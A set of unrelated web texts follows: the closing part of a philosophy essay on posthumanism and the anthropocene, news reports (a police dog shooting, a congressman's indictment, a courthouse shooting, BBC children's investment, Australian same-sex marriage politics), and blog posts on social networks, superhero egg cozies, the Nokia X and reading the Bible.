the measure of all things). Against this universal “man” stand the sexualized, radicalized, and naturalized Other. The Other, through their otherness, is capable of calling out the power and imperialism of the universal. It is in the Other’s response to humanism that anti-humanism emerges. Anti-humanism is a dialectical move which positions itself in opposition to humanism. It was prevalent throughout the 1960’s in both American opposition to the war in Vietnam and the1968 student protests in Europe. Anti-humanism “appealed directly to the subversive potential of the texts of Marx, so as to recover their anti-institutional roots”24 – a subversive potential which reaches its climax in Foucault’s “Death of Man”. It is out of this human/anti-human dichotomy that posthumanism is able to emerge. While anti-humanism rejects humanism it still retains universalizing qualities in the human/antihuman binary. The binary itself functions as a universal either/or. In anti-humanism one is either a human or not a human – and these details are strictly black and white. Posthumanism is an attempt to escape this binary and dichotomous thinking.  Braidotti presents to the audience 3 types of humanism: 1. Reactive posthumanism which is a reactionary movement against anti-humanism and attempts a return to universal humanism; 2. Scientific or analytic posthumanism which alters the understanding of human and technology by proposing a merging interconnectivity between the two (while in a sense retaining an understanding of human – just a different one then before); and 3. Critical posthumanism which is the humanism Braidotti adopts. This is a posthumanism which can be traced back to the “post-structuralism, anti-universalism of feminism, anti-colonial phenomenology of Frantz Fanon and of his teacher Aimé Césaire.”25 Within posthumanism the human centre of humanism is decentred and the critical posthumanist moves beyond liberal universalism to embrace complexity and subjectivity while at the same time resting on a Deleuzian ethic of becoming. A critical posthumanism “raises issues of power and entitlement in the age of globalization and calls for self-reflexivity on the part of the subjects who occupy the former humanist centre, but also those who dwell in on of the many scattered centres of power of advanced post-modernity.”26 This critical posthumanism is a decentred network of subjectivities which is not reducible to humans. It is “vitalist, embodied and embedded, firmly located somewhere, according to the feminist ‘politics of location’.”It is a becoming which usurps the dominant centre. In rupturing the centrality of the human subject, the new subjectivity comes to include a flux of being – including, but not limited to, humans, machines, the earth, and animals.  Thus far, we’ve looked at Braidotti’s posthuman in an attempt to expand upon the decentring of the human subjectivity. Now we’ll interrogate how a inter-relational community being might become. Braidotti adopts a Spinozist monism – a unity or univocity of being. Using the Deleuzian method of becoming27, Bradotti argues for a Zoe-centric egalitarianism through which interdependence with multiple other can take place. Zoe is the structure of life that brings vitality, and it is a zoe-centric egalitarianism which the posthuman strives for. Braidotti’s monism “implies the open-ended, interrelational, multi-sexed and trans-species flows of becoming through interaction with multiple others. A posthuman subject thus constituted exceeds the boundaries of both anthropocentrism and of compensatory humanism, to acquire a planetary dimension.”28 Within the taxonomy of being a radical decentreing of humanity takes place. Animals, machines, humans and earth are no longer considered strict categories of being. They are constantly and consistently beings together bound within a monistic framework of relationality. Through this relationality in which these animals, humans, machines and earth no longer function as seperate concepts, but participants wrapped up together through interdependence, a community based praxis is able to emerge. This is a community bounded by an “interdependence with multiple others”29 which includes animals, humans, earth, technology.  Within such a community a zoe-egalitarianism is possible where Zoe is “the ‘generative power that flows across all species.”30 Like the community Butman envisions, this community is not one that strives but preservation or sustainability, but instead affirms adaptability and creative designs. With the posthuman is the potential for a community of interdependence in which the division between human and non-human dissolves into a community of interdependence where individualism – not just for individual actors, but anthropocentrism as a whole – is replaced with a community fully engaged in zoe-centric and communal care. In order for this to happen, humans must develop new positive relationships with animals, the earth, and technology through processes of becoming which allow for an ending of hierarchical measure. The interdependence of zoe-centric communities allows for the creation of new ways of looking at the anthropocene and embracing it as designers of new, post-anthropocentric worlds in new post-human rhythms and flows.  Creativity  Both Pope Francis, Jeremy Butman, and Rosi Braidotti stress the important of a communality within their articulation of how to respond to the anthropocene. The difference between their responses is that Pope Francis favours the negation of change while Butman and Braidotti strive for the affirmation of it. Both recognize the ability of humans to design and shape the world, but while Francis centres his design on humanism where humans act upon the world, Butman and Braidotti goes beyond to a community of posthuman actors acting upon one another. In striving for community, all three thinkers stress the important of being with in community. In a sense, the community is able to work together in what Sloteridjk might label a co-immunizing force.31 For Pope Francis, this results in a communitarian movement of return. For Rosi Braidotti, it results in a zoe-centric egalitarianism which affirms the anthropocene and attempts to adapt the world to new rhythms and flows. In either case, there is a need for the creation of design strategies for interaction within the community. For Pope Francis this creativity requires “an ecological conversion can inspire us to greater creativity and enthusiasm in resolving the world’s problems,”32 for Butman it requires new adaptability, and for Braidotti it means the creation of new rhythms and flows which repeat throughout being. In all of these there is a desire for creation.  Since my sympathies lie with Braidotti, my conclusions will as well, but I don’t think that they are so far divorced from the humanism of Pope Francis that a bridge cannot be seen at some point in the distance. How is it that we, Christians or otherwise, should respond to the anthropocene? Through affirmation! By affirming that we play – within a community of interrelated multiple others – a role in the design process of new worlds, we must affirm and encourage creation and adaption of new designs that push forward an zoe-egalitarianism which has at its focus a love of being. This means developing new creative ways of circumnavigating capitalism in order to benefit the earth and those on it. This might also mean moving away from certain practices that do not fit within the new affirmative rhythms.  Going forward I’m not sure exactly what this goes, or where these pathways lead. Andrew Culp’s thesis that “We need to stop saving the world in order to find new ones”33 is one that works against sustainability and towards the new becoming, outside of ‘the world’. For Culp, the “[d]iscourse of domination is winning…we need to explore new discourses of the anthropocene”34. Yet, it still doesn’t unlock or give a simple answer to what these discourses look like. Creating and affirming new ways to explore and work within the anthropocene is the next step. This involves the affirmation of technologies that are used in ways that benefit zoe, rather than harm. Rather than Francis’ return to a simpler time, we must contemplate technologies that move outside of capitalism and consumption. Affirming new technologies that strive towards zoe-egalitrianism. Now it is up to us to create these affirmative intensities.  footnotes  [1]Carrington, “The Anthropocene Epoch.”  [2]Morton, “This Is Not My Beautiful Biosphere,” p. 229  [3]Braidotti, The Posthuman, p. 79  [4]c.f. Klein, This Changes Everything  [5]Sloterdijk, Globes, p. 985. It should be noted that Sloterdijk is talking about climate in two senses – the sociological climate and the physical climate. In pre-enlightenment era, humans created immunological climates which functioned to protect against the exterior. After the enlightenment we see a shift to what Sloterdijk calls “atmotechnics” which lead to humanities “air conditioning” of the world (c.f. Sloterdijk, Globes, p. 961-967).  [6]I admit that when one talks about “Christianity” one is always already talking about a multiplicity of diverse members and groups. Christianity, as a concept, contains a plurality of different denominations, sects, religious texts, interpretations, etc., and talking about these groups as a cohesive unit can at times appear disingenuous. I recognize this problem, and move forward cautiously, understanding that the message is aimed at an ecumenical church.  [7] Yardley and Goodstein, “Pope Francis, in Sweeping Encyclical, Calls for Swift Action on Climate Change.”  [8]Pope Francis, Encyclical on Capitalism and Inequality, Paragraph 25. While Pope Francis focuses here on socio-political phenomena at the state level, it would be a mistake to think that climate change doesn’t impact poorer people domestically. Elderly people who cannot afford air conditioning are at increased risk of heat stroke due to a rise in temperature (c.f. NIA: Hyperthermia: Too Hot for Your Health). Drought also raises food prices which leads to higher costs of living which is particularly harmful for people below the poverty threshold.  [9]Pope Francis, Encyclical on Capitalism and Inequality, Paragraph 52.  [10] ibid., Paragraph 25.  [11] ibid., Paragraph 51  [12] Sloterdijk, Terror from the Air, p. 89  [13]Pope Francis, Encyclical on Capitalism and Inequality, Paragraph 116.  [14] ibid., Paragraph 229  [15] ibid., Paragraph 231  [16] ibid., Paragraph 220  [17] ibid., Paragraph 67  [18] ibid  [19] Butman, “Against ‘Sustainability.’”  [20] ibid  [21] ibid  [22] ibid  [23] ibid  [24] Braidotti, The Posthuman, p. 22  [25] ibid., p. 47  [26] ibid., p. 51  [27] I do not have enough space here to fully explain how becoming works in Deleuze’s ontology. For an introduction I recommend the sections on Becoming, Becoming + Music, and Becoming + Performance Art in Parr’s, The Deleuze Dictionary, p. 25-31  [28] Braidotti, The Posthuman, p. 89  [29] ibid., p. 101  [30] ibid., p. 103  [31] Sloterdijk, You Must Change Your Life, p. 450 “All social organization in history, from the primal hordes to the world empires, can, from a systemic perspective, be explained as structures of co-immunity”.  [32] Pope Francis, Encyclical on Capitalism and Inequality, Paragraph 220  [33] Culp, “The ‘Anthropocene’: A Problematic Term for Problematic Times.”  [34] Culp, “Aliens, Monsters, and Revolution in the Dark Deleuze.”  Works Cited  Braidotti, Rosi. The Posthuman. 1st ed. Oxford: Wiley, 2013.  Butman, Jeremy. “Against ‘Sustainability.’” The New York Times, August 8, 2016. http://www.nytimes.com/2016/08/08/opinion/against-sustainability.html.  Carrington, Damian. “The Anthropocene Epoch: Scientists Declare Dawn of Human-Influenced Age.” The Guardian, August 29, 2016, sec. Science. https://www.theguardian.com/environment/2016/aug/29/declare-anthropocene-epoch-experts-urge-geological-congress-human-impact-earth.  Culp, Andrew. “The ‘Anthropocene’: A Problematic Term for Problematic Times.” presented at the 2016 Anthropocene Consortium Series, Evergreen State College, 2016. https://www.youtube.com/watch?v=B6Hvz3VVu6Y.  Culp, Andrew. “Aliens, Monsters, and Revolution in the Dark Deleuze.” Anarchist Without Content, August 26, 2016. https://anarchistwithoutcontent.wordpress.com/2016/08/26/aliens-monsters-and-revolution-in-the-dark-deleuze/.  Klein, Naomi. This Changes Everything: Capitalism vs. The Climate. Reprint edition. Simon & Schuster, 2015.  Morton, Timothy. “This Is Not My Beautiful Biosphere.” In A Cultural History of Climate Change, edited by Tom Bristow and Thomas Ford, 229–39. Routledge, 2016. http://www.tandfebooks.com.ezproxy.library.ubc.ca/isbn/9781315734590.  Parr, Adrian. The Deleuze Dictionary. 2nd Edition. Edinburgh: Edinburgh University Press, 2010.  Pope Francis. Encyclical on Capitalism and Inequality: On Care for Our Common Home. Edited by Same Lavigne. Verso, 2015.  Sloterdijk, Peter. Globes: Spheres Volume II: Macrospherology. Translated by Wieland Hoban. Los Angeles, CA: Semiotext, 2014.  Sloterdijk, Peter. Terror from the Air. Translated by Amy Patton and Steve Corcoran. Semiotext(e) Foreign Agents Series. Los Angeles: Semiotext(e), 2009.  Sloterdijk, Peter. You Must Change Your Life. 1 edition. Cambridge, UK: Polity, 2014.  Yardley, Jim, and Laurie Goodstein. “Pope Francis, in Sweeping Encyclical, Calls for Swift Action on Climate Change.” The New York Times, June 18, 2015. http://www.nytimes.com/2015/06/19/world/europe/pope-francis-in-sweeping-encyclical-calls-for-swift-action-on-climate-change.html.  Advertisements
-The owner of a dog shot dead by Los Angeles County Sheriff's deputies Saturday is speaking out about the way the situation was handled.  Deputies were canvassing a Norwalk neighborhood for a man with a gun at 161 Street about 3:30 p.m.  Eddie Perez says they asked him to remove his pit bull from the backyard so they could search it. He says he told the deputies he needed a leash for the 2-year-old dog, Ziggy, but says he was ordered to bring the dog out anyway.  A neighbor captured what happened next on camera: Ziggy spotted the deputies' canine and broke free to attack the police dog.  "I'm telling the Sheriff's, 'Taser my dog, Taser my dog.' His exact words were, 'No, shoot that (expletive) dog,'" Perez said.  With his assault rifle drawn, witnesses said one of the deputies shot Ziggy in the head as about a dozen kids looked on.  "They shot the dog in front of everybody," said Eric Castaneda, a witness. "My daughter, she's 12 years old, she just ran in crying. How could they do that?"  Witnesses said the dog limped back to its home before collapsing in the driveway.  Perez said he is devastated by Ziggy's death, but what upsets him most is how the situation was handled.  "They don't apologize," he said. "They saw their dog was more important to them than my dog. They're the ones that told me to do what I did. They're not taking responsibility for it."  The Los Angeles County Sheriff's Department has not commented on the incident.  Perez said the deputies didn't end up searching his backyard and that he later found the suspect's weapon.  Perez said he has hired an attorney.
-From the AP:  Republican Rep. Rick Renzi has been indicted for extortion, wire fraud, money laundering and other charges related to a land deal in Arizona. A 26-page federal indictment unsealed in Arizona accuses Renzi and two former business partners of conspiring to promote the sale of land that buyers could swap for property owned by the federal government. The sale netted one of Renzi’s former partners $4.5 million.  Here’s the indictment.  Update: The charges boil down to this, basically. Renzi (who’s already said he won’t seek re-election) is charged with doing everything he can as a congressman to strong-arm others into buying land from his buddy James Sandlin — Sandlin then allegedly kicked back sizable chunks of cash back to Renzi in a series of complicated financial transactions (thus the money laundering charge). The main details of these charges were reported by the Arizona papers and The Wall Street Journal last year.  Update: Yikes. In a completely separate matter, the indictment charges Renzi with a conspiracy to “embezzle and misappropriate client premiums [from his insurance company] to fund his congressional campaign.”  Update: It’s worth recalling that the Renzi case played a small role in the U.S. attorneys’ firings scandal. One of the fired U.S. attorneys was Arizona’s Paul Charlton. The investigation dates way back to June of 2005, but it did not surface publicly under shortly before the 2006 midterm elections. Renzi’s people, obviously, weren’t happy, and an aide to Renzi put in a call to Charlton (who in turn reported the contact to the Justice Department leadership).  And the Wall Street Journal later reported that investigators and prosecutors in Arizona had been frustrated with senior Justice Department officials’ general reluctance to pursue the investigation. The thrust of the piece was that the investigation had been slow-rolled in the run-up to the election.  Update: Renzi is, at least for the time being, a co-chair of John McCain’s Arizona Leadership Team (he’s one of 24 co-chairs). One imagines he won’t be such a public advocate for McCain this election.
-Over the past several years, the web has been kind to extroverts. Social networks have offered a new platform for people to broadcast their thoughts, connect with each other and expand their contacts in the online realm. The social web has even ushered in a new kind of extroversion, in which people who might be shy or uneasy in traditional social settings can express themselves online.  Much less noticeable is another trend: the rise of the web introvert. But while some web introverts might be introverted in the classic sense — that is, uncomfortable in social settings — many of them aren’t shy at all. They are simply averse to having a public presence on the web. And in time, they are going to present a problem for social sites like Facebook and Twitter, whose potential growth will be limited unless they can successfully court them.  Advertisement  Web introversion isn’t a question of technophobia or security concerns. Anyone who has tried to build out their online networks on Facebook knows that there are a lot of people they know in real life that they can’t friend online. Many people who have been involved in technology for years — or who are entirely comfortable shopping at Amazon (s amzn), paying bills online, buying songs from iTunes (s aapl) — will have nothing to do with social networks. Others see it as a chore necessary for their jobs. Still others have accounts languishing on all the major social networks.  If you ask a web introvert why he or she isn’t into social networks, the response often comes down to a matter of trust – or rather, a lack of it. It’s frustrating enough that each social network has its own etiquette to master, but many people are loathe to make the effort because of the unpleasant reality that there is no such thing as privacy on the web.  And typically, the more that web introverts understand the nature of the web, the less willing they are to expose themselves on it. For while you might start off thinking you own your tweets, you really don’t. And if you don’t want your Facebook information open to the public, you need to follow closely that site’s constant privacy changes. Moreover, regardless of the site, a casual comment that, in an offline conversation would be forgotten, is preserved for years on the web — and could come back to haunt you.  For extroverts, this is all just part of navigating the social web. But enough people are uncomfortable with social networks that it’s going to become a barrier to growth in the coming years. For now, Facebook’s growth is continuing simply because there are more and more extroverts signing up. And Twitter is still in the stage of experimenting with ways to make money.  Eventually growth rates will slow and these companies will see web introverts as an alienated part of the market that they need to court. Each introvert, after all, is a lost opportunity for revenue. But it may be that these characteristics are so inherent in the social web that such people simply can’t be courted.  Image courtesy of Flickr user creatingkoan.
-Same-sex marriage advocates could learn lessons from republic vote  Updated  Malcolm Turnbull's heart must've sunk when he read that John Howard would be teaming up with Tony Abbott for the campaign against same-sex marriage.  The Prime Minister knows what it's like to be at the sharp end of a popular cause, only to see it blunted and then broken by the Howard-Abbott duumvirate.  As chairman of the Australian Republican Movement almost two decades ago, Mr Turnbull was up against Mr Abbott who led Australians for Constitutional Monarchy with the encouragement of then-PM Mr Howard.  Like same-sex marriage now, polls at the time variously suggested an Australian republic either had majority support or at the very least more support than opposition.  But the Yes vote lost in the 1999 republic referendum, as republicans splintered over the preferred model and in the face of what Yes campaign director Greg Barns ruefully regards as simplistic and misleading claims.  Mr Barns said this week that if the same-sex marriage advocates split like the republicans did in 1999, they face a similar fate.  "They will lose if there's disunity and if they fail to counter what has already started to be an outrageous fear and scare campaign with blatant lies," Mr Barns told The Australian Financial Review.  "Disunity and an inability to counter these misleading claims Abbott is throwing around will defeat what should be a no-brainer."  Abbott's culture war over values  Mr Abbott, the most lethal political wrecking ball of his generation, unofficially launched the No campaign on Tuesday.  There was no bunting, no stage or fancy backdrop, just a few devastating lines delivered at the House of Representatives doors to a handful of reporters.  "I say to you, if you don't like same-sex marriage, vote no. If you're worried about religious freedom and freedom of speech, vote no, and if you don't like political correctness, vote no because voting no will help to stop political correctness in its tracks," he said.  Religious freedom. Freedom of speech. Political correctness. Mr Abbott framed the fight against same-sex marriage as the generational culture war over values.  He calls for dissent against the progressives' entire agenda and rails against the Left's encroachment of tradition and institution.  His fight against same-sex marriage is, in effect, his life's work. And he suggests the battle against legalisation of same-sex marriage is a crusade for liberal democracy and not against it.  And he praised the Government's pursuit of the postal plebiscite, which instantly worried some of his pro-gay marriage colleagues, recognising that Mr Abbott had seen instant opportunity to wage successful war.  Just as Mr Abbott distilled a No vote in 1999 as the democratic defence against the "politicians' republic", he celebrates the postal plebiscite on same-sex marriage as a strike against the "politicians' vote".  It is a typically Abbottesque inversion that depicts as undemocratic the very democratic institution of which he is member.  Shorten declares his hand  For more than two days, the Abbott articulation was left unchallenged by other political leaders.  Indeed, for most of the week it looked like no-one in Australia's political leadership, either in the Government or the Opposition, would take a hands-on role in the Yes campaign.  Mr Turnbull remains hesitant, neither wanting to take ownership of a deeply flawed process nor wanting to inflame the right who have long warned of giant conflagration over the gay marriage push.  The PM said he would vote yes but said other prime ministerial commitments would keep him from active campaign; it was unconvincing and meek.  Opposition Leader Bill Shorten, strung between a process he detests and an outcome he desires, took until Thursday to declare his hand.  When it came, Mr Shorten's declaration was strong, passionate and barbed.  "I will be voting yes. I will be campaigning for a Yes vote," he told Parliament on Thursday.  "We say to young Australians who are gay, we are voting in this survey, we are participating in this survey because of you.  "Not because we respect the process, but because the Labor Party will not let gay Australians and young gay people cope with this survey, this evaluation of their relationships, on their own."  He said he would hold Mr Turnbull personally responsible for "every hurtful bit of filth" unleashed by the postal vote, having shown "moral cowardice" by licensing the debate.  Vote could ruin Turnbull  It was a condemnation of character so personal it will invite retaliation. The Government will step up its "Kill Bill" strategy in weeks ahead to offset the brand damage done to the PM on the same-sex marriage debacle.  While Mr Shorten pledged to campaign for the Yes campaign, his insurance policy is in blaming Mr Turnbull for failure. Rather than ownership of the debate, Mr Shorten has taken a short lease.  The PM has no such political insurance, yet he needs the Yes vote to win. His allies know this.  And yet by aligning himself alongside Mr Shorten, Greens leader Richard Di Natale and gay rights advocates, Mr Turnbull again risks setting himself against the majority of his partyroom.  But think what a No vote in the postal vote would herald: Liberal agitators, already dismayed by their leader, would seek to bring on a private member's bill to legalise same-sex marriage.  The conservatives would revolt, accuse their colleagues of ignoring the popular view. Arguments about legitimacy of the vote would ensue. Tony Abbott would be at his destructive peak.  Mr Turnbull would be ruined.  And with the nation reeling that a popular cause had been brought unstuck by a process of connivance there'd be a rush to steal the line Mr Turnbull once used against Mr Howard after the republic debate:  Malcolm Turnbull would be the prime minister "who broke the nation's heart".  Topics: marriage, lgbt, government-and-politics, federal-government, australia  First posted
-Last year for Easter, I made a set of 6 superheroes with long ears :  But apparently Marvel superheroes and DC comics superheroes didn’t get along with each others very well in that egg box (especially Batman and Superman, who know why :p). So this year, I thought I would separate them in two different sets !  1. The Avengers set  2. The DC Comics set  Did you recognize them all?  Avengers set : Captain America, Black Widow, Thor, Hulk, Iron Man, Hawkeye  DC comics set : Batman, Superman, Flash, Wonder Woman, Hellboy, Green Lantern  As I didn’t want to have to box them after Easter, having to wait one year to unbox them, I also made them as egg cozies to be useful all year long !  As a bonus here is my first animated GIF ever :p  Now also available as a bundle :
-By now, you all know that Nokia did the unthinkable yesterday and announced an Android line-up of devices at Mobile World Congress, after criticizing the platform for years and pushing Windows Phone with their Lumia brand. That launch comes so close to the company’s smartphone division being completely enveloped under Microsoft — end of Q1 2014 should be the final date — that we’re left scratching our head. Despite the huge amount of hands-on videos that have showed us everything we need to know about the X series, we’re left with many unanswered questions. Here they are.  WHY? We’ve heard Elop’s explanation, we’ve read thousands of words as the ink is being consistently spilled in dozens of reports, but still, we can’t help but wonder why did Nokia launch the X series? Why now? Why bother? Why does it matter? Just seriously … why? What will happen to the X series once the Microsoft acquisition is complete? Will Microsoft really launch and sell Android devices? If the point is for the X series to replace the Asha series, and Asha as a brandname is exclusive to Microsoft as part of the acquisition for the next 10 years, will Microsoft sell Asha Android phones? Isn’t that like Pizza Hut selling Dominos Pizza? Will Nokia have to pay licensing fees to Microsoft like all other Android OEMs? That would be, well, hilarious. Where do the cheap Lumias fit now? The Lumia 520, for example, was selling well in emerging markets mainly because it was a Nokia branded device at a cheap price, with good build quality, and with smartphone features. Isn’t that exactly what the X series is? If the X series is supposed to be a stepping stone for consumers to join the Lumia and Microsoft ecosystem, what will happen when a Nokia X owner who got used to Android apps on his phone decides to “upgrade” to a Lumia and doesn’t find those same apps available for Windows Phone? Conspiracy theory time: if Microsoft owns the right to use the Asha and Lumia brandname, and Nokia can’t use their own brand on a smartphone, could the X be (what’s left of) Nokia’s way of later releasing smartphones that aren’t Asha or Lumia or Nokia branded or under the Microsoft umbrella? Would that be a way to stay in the smartphone space without breaking their sale deal? Will people really care about an Android device that doesn’t run Google Apps? Will they know the difference? Or is Nokia banking on people not even being aware what Android is to sell these phones? If you were ever a Nokia fan and user, did your first reaction to the announcement go along the lines of: “Would things be different if Nokia chose this strategy, or even full Android support with Google certification, three years ago?” That was then followed by a small pinch of the heart and a “We will never know, will we?” Microsoft’s Joe Belfiore said one day earlier, during the Windows keynote, that the company isn’t too excited about some of Nokia’s extra-curricular activities. Isn’t it ironic how that turned around overnight to be full-blown support for the X series, with Microsoft offering 10GB of free OneDrive storage and 1 month of free worldwide Skype calls to the device’s buyers? How much will anyone trust buying apps from the Nokia Store, given Nokia’s horrendous track record at opening, managing and then closing application stores? If you buy a Nokia X phone now, is there any guarantee, anywhere, that Microsoft won’t cancel the project by the end of Q1 2014 and you’ll be left with no support, no service center, no app store, no one to complain to, and practically nothing? Will developers really bother to update their apps and submit them for approval to the Nokia Store? Or will they just wait to see what Microsoft will do with this whole side-project? And if developers do submit their apps to the Nokia Store, will they try to keep them up-to-date as they do on the Play Store? Who’s to say that there won’t be year-old versions of apps plaguing the Nokia X? How will Android apps and games that require Google Play Services or Google+ login work? Is it still a few lines of code changes, or will developers have to re-write chunks of the app from scratch? Will the Nokia X series be updated along with AOSP Android, or will it be stuck on Jelly Bean? Should we call Microsoft and ask them about their plans? Will the hacker folks at XDA-Developers find a way to extract those Here Maps and Drive .apk files so we can run the apps on our own Android devices? Here is notorious for its offline navigation feature, and extensive maps that are quite better than Google’s in emerging countries and remote areas. Also for the hackers, we’re crossing our fingers that there would be a way to port Google Apps to those devices, for a blessedly awkward marriage of Nokia hardware, tiled UI, and Google apps. How ironic would that be? Will the CyanogenMod team be able to port CM to the Nokia X series? That would make quite an appealing combination, wouldn’t it? Is it just us, or do you also feel a bit weird seeing Android AOSP and apps running on a Nokia handset, and Nokia news being covered on Android sites? Doesn’t it feel a bit like seeing your divorced parents online dating profile after knowing them only as a married couple for many years? And the most important question – will every over-loyalistic Nokia fanboy/fangirl who proclaimed for years that they wouldn’t ever use Android, that Android apps numbers don’t matter, that Windows Phone has everything they need, that Android apps are ugly, and so on, change their mind now? Oh the fun…  Do you have any other perplexing questions regarding the Nokia X? Share them with us!  Like this post? Share it!
-The culture of Britain’s youth faces being “shaped and defined” by American giants such as Facebook, Amazon and Netflix, the BBC fears, as it announces major investment in children's television.  The BBC has confirmed it will invest £34 million in expanding digital programming for children, as it attempts to win their attention in a changing online world.  In a speech to staff, Lord Hall, the director-general, will spell out how the BBC must “reinvent” its offering to its youngest audience in the coming years, moving beyond television programmes to become a serious rival to “global media giants”.  In the BBC’s first Annual Plan, released today and setting out the corporation’s ambitions for the coming year, Lord Hall and chairman Sir David Clementi will announce the “biggest investment in children’s services in a generation”.
-Yesterday this popped up in my Twitter mentions:  I loved it for 3 reasons:  1. The guy is asking for pointers – I’m always impressed by people who ask questions and seek direction.  2. The tweet itself reads ever so slightly passive-aggresive, which means that Nowhere Man and I could probably be BFF’s in real life.  3. Duh. I’m a missionary – Hoping that a person will give the Bible a chance is, like, what I do.  Also? This really resonated with me because when I first became interested in the whole Jesus thing, someone gave me a Bible and I practically ran home because I was so excited to dive in. But, unlike my twitter friend, Nowhere Man, I wasn’t smart enough to ask for suggestions as to the best way to do that. So, since the Bible is a book (and I’ve always been in the habit of starting books in the beginning and ending them at the end) I opened it to page one and just started reading.  Now, you may already know this, but the Bible is kinda… weird.  No one had ever mentioned that to me before.  I had always heard the Bible described with words like ‘inspiring’ and ‘true’ and ‘life-changing’.  No one ever warned me that the old Testament is forever talking about creepy things like incest and murder and foreskin. And everybody is raping everybody. And they’re stealing everybody’s wives and their cattle and their inheritance and junk. By the time you get to Leviticus, you might be horrified disgusted appalled alarmed by the constant spilling of blood and semen, and the all too regular seduction of men by their daughters, and sons who fool around with their step-Moms, and by all kinds of whoring and concubining, and family betrayal, and the killing of babies, and other completely messed up stuff that you just weren’t expecting. And you might be inclined to close the Bible and push it across the table wishing you could unread some of it, because you feel like, “Seriously, God?! What was that about?!”  It’s that weird.  And that’s exactly what happened to me. I sat down and started reading in Genesis, ready for the all the words I’d ever heard about the Bible to come true, ready for all of its wisdom and truth and to come pouring into my soul. And maybe some little part of me really did believe that I’d open up this ancient text and be instantly moved, indwelled by some kind of Spiritual understanding, and that it would change my life forever and ever. But that’s not even close to what happened.  Instead, I opened the Bible, read a few chapters, and closed it – feeling confused and kinda disturbed. I was disappointed. And I was pretty sure I wouldn’t be diving back in for more anytime soon. I didn’t find it relatable, or even sensible. Mostly, it just left me scratching my head, like “For real?!“  Luckily, around that same time a dear friend invited me to a Bible study at her house. I was beyond reluctant, but I went anyway – probably because someone promised brownies. The people in that group never made me feel like a dumbass for my Bible-idiocy. Like, I practically lost my nut when someone pointed out that the Bible had a Table of Contents, right there in front (Who knew?!), but nobody acted like I was a moron for not knowing that. That group would continue to walk with me, slowly and carefully, through the pages of the Bible for years to come. They became the friends who would guide me past the weird stuff I’d gotten hung up on in my first foray and on to other themes, good stuff, like Grace and Mercy and Hope. It was with that same group of spiritual caretakers that I would first read through the Gospels, hear from James and Paul, and learn the plight of the early church. And from those fellow lovers of Jesus, I would come to understand the Bible as one whole story, with its greatest message being the sum of its parts… even the weird parts.  Which brings me to my two big awesome tips for reading the Bible:  1. DON’T START AT THE BEGINNING (because it will freak you out)!  I asked El Chupacabra what advice he would give a first time Bible reader and he recommended starting off by reading the Gospels in chronological order (Bible-y folks call this a “Harmony of the Gospel” because Christians can’t be trusted to use secular words, like “chronology”). This method will have you bouncing around a bit, but it can give you a cohesive idea as to how Jesus lived, taught, traveled and spent his time. I’m a fan. And, yes, El Chupacabra is a genius.  2. DON’T GO IT ALONE! Find someone whom you trust, and who is farther along than you are in the process of following Jesus, and study the Bible WITH that person (or, better yet, people). And ask a TON of questions. Also? Use the bazillion resources at your fingertips to find answers to your questions. (*hint* When not being used to feed ugly porn habits, the internet can be a rich source of material related to understanding the Bible. Help yourself…. to the Bible stuff, not the porn stuff. Stay away from the porn stuff.)  And the only other thing I would add to my list of super-incredible-how-did-I-not-think-of-that-?!-Bible-reading-tips-of-the-Century is….  GIVE IT TIME.  Let it marinade. Let yourself stew in it for a bit.  For me, understanding the Bible is a process. I had to learn to give it time to sink in. I had to soak it up. I had to wrestle with it for a long while before any of it made any sense at all. But I find that the more time I spend with it, the more of it I am able to take on. I don’t always get it. I still close it sometimes to push it across the table and scratch my head in confusion. But, for me, one thing is certain; Having a Savior isn’t just an idea that I carry in my head anymore, it has become a Truth which has penetrated my very flesh and bone, it beats in time with my heart, whispers in my breath, and stirs my soul…  And I pray, Nowhere Man, as you begin to search the wonder and weirdness of the Bible, that the same may be true for you.  …. ….. …..
-0 PHOTOS Federal courthouse shooting See Gallery Man dies after being shot at federal courthouse Up Next See Gallery Discover More Like This HIDE CAPTION SHOW CAPTION of SEE ALL BACK TO SLIDE  SALT LAKE CITY (AP) -- A defendant died after being shot by a U.S. marshal on Monday during an attack on a witness during a trial in a new federal courthouse in Salt Lake City, the FBI said.  Siale Angilau, 25, died at a hospital after he was shot in the chest as he rushed the witness with a pen in an "aggressive, threatening manner," the FBI said in a news release.  Angilau was shot several times in front of a jury that had been selected on Friday.  Angilau was one of 17 people named in a 29-count racketeering indictment filed in 2010 accusing gang members of assault, conspiracy, robbery and weapons offenses.  Under standard procedures, Angilau was not restrained in the courtroom, the FBI said.  Perry Caldwell, who was in the courtroom with his adult daughter, said Angilau was shot several times as he lunged toward the witness stand.  At least six shots were fired, he said.  The witness, who was not injured, appeared to be in his mid-20s and was testifying about gang initiation, Caldwell said. The person was not identified.  Caldwell and his daughter were in court to support his mother, Sandra Keyser, who was punched in the face during a holdup in 2002 and was scheduled to testify.  "It was kind of traumatizing," Sara Jacobson, Caldwell's daughter, said of the shooting.  Prosecutors said Angilau robbed convenience stores and assaulted clerks in Salt Lake City on five occasions from 2002 to 2007. A clerk was shot in the final robbery, according to the indictment.  Angilau was accused of assault on a federal officer with a weapon and discharging a firearm during a crime of violence on Aug. 11, 2007.  Angilau was the last defendant in the case to stand trial, U.S. attorney's office spokeswoman Melodie Rydalch said.  A mistrial was declared after the shooting. In her order, U.S. District Judge Tena Campbell said members of the jury were visibly shaken and upset.  Angilau's attorney, Michael Langford, declined to take questions as he left the courthouse.  Angilau was in Utah state prison from September 2007 until he was handed over to U.S. marshals on Friday, said Utah Department of Corrections spokeswoman Brooke Adams.  He was arrested in August 2007 for a probation violation and pleaded guilty a year later to obstruction of justice and failure to respond to a command of a police officer, court records show.  His trial in the robbery case was among the first at the new $185 million federal courthouse opened just one week ago in downtown Salt Lake City next door to a century-old federal courthouse. The towering building is designed to withstand blasts and also contains bulletproof glass in some areas.  The security measures include separate routes in and out for judges, prisoners and the public. In the old courthouse, they all used the same hallways.  The courthouse was temporarily closed after the shooting and later reopened.  --  Associated Press writers Ken Ritter in Las Vegas and Brady McCombs in Salt Lake City contributed to this report.
